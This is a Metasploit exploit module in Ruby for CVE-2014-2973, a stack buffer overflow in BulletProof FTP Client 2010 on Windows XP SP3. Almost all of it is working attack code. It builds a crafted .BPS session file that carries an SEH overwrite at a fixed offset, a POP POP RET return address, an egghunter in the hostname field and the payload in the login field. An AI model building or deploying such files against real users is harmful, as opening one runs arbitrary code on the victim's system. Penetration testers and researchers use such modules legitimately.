##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BulletProof FTP Client BPS Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        BulletProof FTP Client 2010, caused by an overly long hostname.

        By persuading the victim to open a specially-crafted .BPS file, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash. This module has been tested successfully on
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gabor Seljan'
        ],
      'References'     =>
        [
          [ 'EDB', '34162' ],
          [ 'EDB', '34540' ],
          [ 'EDB', '35449' ],
          [ 'OSVDB', '109547' ],
          [ 'CVE', '2014-2973' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d\x1a",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 89,
              'Ret'    => 0x74c86a98  # POP EDI # POP ESI # RET [oleacc.dll]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2014-07-24',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
      ],
    self.class)
  end

  def exploit
    eggoptions = {
      :checksum => true,
      :eggtag => 'w00t'
    }

    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
    sploit << rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter               + "\r\n"  # FTP Server HOST / IP
    sploit << rand_text_numeric(5) + "\r\n"  # Port number
    sploit << egg                  + "\r\n"  # Login name
    sploit << rand_text_alpha(8)   + "\r\n"  # Login password

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(sploit)
  end
end
